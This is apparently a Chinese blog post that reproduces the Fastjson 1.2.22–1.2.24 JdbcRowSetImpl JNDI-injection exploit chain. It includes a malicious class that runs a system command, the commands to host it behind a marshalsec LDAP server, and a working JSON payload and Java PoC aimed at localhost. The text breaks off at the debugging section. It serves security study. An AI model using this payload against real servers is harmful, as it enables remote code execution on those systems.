Fastjson JdbcRowSetImpl利用链学习

Python微信订餐小程序课程视频

https://blog.csdn.net/m0_56069948/article/details/122285951

Python实战量化交易理财系统

https://blog.csdn.net/m0_56069948/article/details/122285941

JdbcRowSetImpl

接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体setter调用代码可以参考上篇文章调试的部分

1、漏洞复现

1.1、组件依赖版本

fastjson:1.2.22-1.2.24

1.2、利用方式

不像TemplatesImpl链需要指定的利用方式,JdbcRowSetImpl链只需要可以控制输入就能利用。

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

当然对jdk的版本有需求,因为高版本jdk对jndi和rmi有限制,在rmi篇也有说明这里再次贴出,方便自己以后查看

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

img

图为阿里云应用

1.3、漏洞复现

准备恶意的代码

import java.io.IOException;

public class EXP {
    public EXP() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}


编译恶意代码

javac EXP.java

开启http服务

python3 -m http.server

image-20220413214234339

用marshalsec开jndi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389

image-20220413214333530

使用JdbcRowSetImpl构造poc,成功弹窗

package com.akkacloud.demo;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

    }
}


image-20220413214619189

因为fastjson会自动调用setter和getter,具体可以看

Poc调试的那部分,所以我们就可以构造处fastjson的poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

我们JSON.parse()试一下

poc

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
        JSON.parse(exp);
    }
}


image-20220413215221580

1.4、利用链调试

这次我们就直接跳过fastjson的利用链,因为在TemplateImpl中已经详细跟进过,我们直接进入到 jdbcRowImpl,在setDataSourceName方法打下断点,其实看调用栈也是可以看出&

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值